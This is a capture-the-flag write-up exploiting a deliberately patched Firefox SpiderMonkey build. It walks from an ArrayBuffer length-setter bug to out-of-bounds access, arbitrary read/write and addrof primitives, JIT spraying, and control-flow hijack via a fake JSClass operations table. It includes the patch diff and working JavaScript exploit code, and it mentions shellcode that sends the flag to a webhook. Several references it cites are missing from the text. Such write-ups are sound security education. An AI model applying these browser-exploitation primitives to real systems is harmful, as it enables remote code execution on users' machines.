The challenge consists of a firefox build patched to contain a bug. We can see that it implements a setter function to ArrayBuffer.length, which is very suspecious in itself:
If we check the implementation we can see that what it does is pretty much set the length field of the ArrayBuffer object to an arbitrary value:
+ // Steps 1-2+ auto* buffer = &args.thisv().toObject().as<ArrayBufferObject>();+ if (buffer->isDetached()) {+ JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr,+ JSMSG_TYPED_ARRAY_DETACHED);+ return false;+ }++ // Step 3+ double targetLength;+ if (!ToInteger(cx, args.get(0), &targetLength)) {+ return false;+ }++ if (buffer->isDetached()) { // Could have been detached during argument processing+ JS_ReportErrorNumberASCII(cx, GetErrorMessage, nullptr,+ JSMSG_TYPED_ARRAY_DETACHED);+ return false;+ }++ // Step 4+ buffer->setByteLength(targetLength);++ args.rval().setUndefined();+ return true;+}
Steps 1-2 get the address of the desired object
Step 3 reads the desired address from the first argument of the setter function
Step 4 set the value at the length field to th arbitrary value
This is obviously very problematic. ArrayBuffers can be used instanciate TypedArray objects with size = length of the TypedArray. Which means we can allocate ArrayBuffers and read/write them out of range.
Corrupt ArrayBuffer AR/AW/Addrof
To understand how to convert the heap oob bug into powerful primitives, it's good to have a better look at the ArrayBuffer and JSObject classes. I found this awesome reference online:
Also, notice that firefox uses jemalloc as memory allocator:
So if we want to get our hands on some ArrayBuffer metadata, we need to allocate OOB objects with sizes such as they get allocated in the same region as the ArrayBuffer metadata objects.
Notice that if we access objs[0]'s data out-of-bounds we can fully control the ArrayBuffer metadata of objs[1]. Once we control the ArrayBuffer object we can achieve AR/AW primitives through the data ptr and instantiating TypedArrays off of those objects
It we use our OOB write primitive to overwrite objs[1] ArrayBuffer data ptr we can make it point to arbitrary memory. Then, if we instantiate a TypedArray object out of objs[1] we can use the new TypedArray to read/write arbitrary memory.
If we assign a JSObject as a property of an ArrayBuffer, we can expect to see the JSObject pointer in the _slots member, which is an array that contains all properties of an object. If we combine this with our arb read primitive we are able to get the address of any object that we want.
Abusing those primitives we can write a few function to perform AR/AW/Addrof:
After we have our memory primitives we need to somehow abuse them to execute arbitrary code. One way of doing this is doing JIT spray, which simply consists in writing code such that when it is compiled by the JIT compiler it will reflect some controled values. The entire point of doing this is that those values will be user controlled bytes that are written into executable memory. I used the JIT spray technique before in the Smuggler's Cove challenge from Defcon Quals 2022:
There is also this great reference about JIT spray in SpiderMonkey:
I ended up using the same JIT payload from this CVE-2019-11707 exploit:
The shellcode generated by this function when JIT compiled mprotects the shellcode pointeded by the rcx register and jumps to it, so we can use to load any shellcode we want.
We can use the addrof primitive to get the address of the JSFunction:
Notice that the JSFunction object does not have a pointer to the exact address where the machine code is, but a pointer to somewhere else in the page, so we need to scan the page to find the shellcode. That's where the magic constant comes into play:
constmagic=4.183559446463817e-216
This constant is a double that after code is jitted compiled it reflects into memory as 0x1337133713371337 so we can just look for this value using our arbitrary read to scan the code page.
Ok, so now that we found our shellcode constants reflected into memory we need to figure out a way to execute the first gadget + control rcx immediately before jumping.
Hijack control flow
Now let's take an even deeper look at JSObject and ArrayBuffer. So we can understand a neat trick to do what we want. The same blog posts we can refer to for JIT spray also has some useful technique to hijack control flow:
Notice that any object is an instance of a class, obviously. So in a similar way that C++ objects have a pointer to their classes vtable, any JSObject object is associated to a JSclass object that is used to lookup stuff like what to the implementation of each method.
In a few derefs we can get to the operatations of the JSClass of our object, which means we can overwrite them and change the behaviour for manipulating that object, assinging properties, etc.
Finally we can create a fake class and change the assignProperty function pointer to our jit shellcode, so we can call it, notice that the value being assigned to the property in javascript will have a pointer in rcx when addProperty be called, so we have met the contraints for our jit
// Build fake class shellcode_addr =addrof(shellcode)for(let i =0; i <16384; i++){ shellcode_addr =addrof(shellcode) }console.log('Shellcode : 0x'+shellcode_addr.toString(16)) shellcode_group =arbread64(shellcode_addr) shellcode_groupval =arbread64(shellcode_group) shellcode_class =arbread64(shellcode_groupval) shellcode_ops =arbread64(shellcode_class +0x10n) shellcode_data =arbread64(shellcode_addr +0x30n) fake_class =newBigUint64Array(48) fakeclass_addr =addrof(fake_class)for(let i =0; i <16384; i++){ fakeclass_addr =addrof(fake_class) } fake_class_buffer =arbread64(fakeclass_addr +0x30n);for (let i =0; i <6; i++) { fake_class[i] =arbread64(shellcode_class +BigInt(i) *8n) } fake_ops =newBigUint64Array(88) fakeops_addr =addrof(fake_ops)for(let i =0; i <16384; i++){ fakeops_addr =addrof(fake_ops) } fake_ops_buffer =arbread64(fakeops_addr +0x30n)for (let i =0; i <11; i++) { fake_ops[i] =arbread64(shellcode_ops +BigInt(i) *8n) } fake_ops[0] = jit_shellcode fake_class[2] = fake_ops_bufferarbwrite64(shellcode_groupval, fake_class_buffer)// Trigger payloadshellcode.trigger =i2d(shellcode_data)
Final exploit
My shellcode simply reads the flag and sends it to my webhook: